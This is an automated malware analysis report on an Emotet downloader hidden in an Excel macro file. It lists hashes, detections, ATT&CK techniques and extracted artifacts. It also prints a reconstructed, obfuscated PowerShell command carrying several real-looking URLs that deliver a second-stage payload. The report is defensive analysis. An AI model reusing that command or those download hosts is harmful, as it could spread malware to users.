Emotet Office (OOXML) / .XLSX malware analysis — malicious · 755748de1292c4cd

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 17c6fe694647b96c6e82ab6494529d41 SHA-1: 55054837c34217fc72189023065539336d29f843 SHA-256: 755748de1292c4cdd0c6f7ddda60b8b0195f738f2c3c6f74e070021fb08f2fb6

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV detection and high-severity heuristics for Workbook_Open macros and CreateObject calls strongly indicate a malicious downloader. The VBA script contains obfuscated PowerShell commands that attempt to download and execute payloads from multiple URLs. The reconstructed PowerShell command is: 'wers hell -e w A B a b l i w 3 R h g D Z S 4 c d f g = " h t t p : / / s u m e d h a o n l i n e . c o m / w p - c o n t e n t / H y z N X J 3 0 X Q V B S R H / , h t t p : / / d i v a c h i n t e x i l e . c o m / w p - i n c l u d e d e s / W H w W R K s 8 K v 6 N z N m 6 / , h t t p : / / h o t e l a l a n d a m a l a b o l . c o m / 1 5 2 0 / b U d h p E P d f / , h t t p : / / s h w e n a n t a w i n . c o m / c o p m a / X T n Z i I i 0 2 v f g', which is used to download and execute a second-stage payload. The presence of Emotet-related indicators further supports this assessment.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
`vbaProject_00.bin` `ac2df81237d6b7cb8d2663e1452de32954860a56019469261200528fe56c4064`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.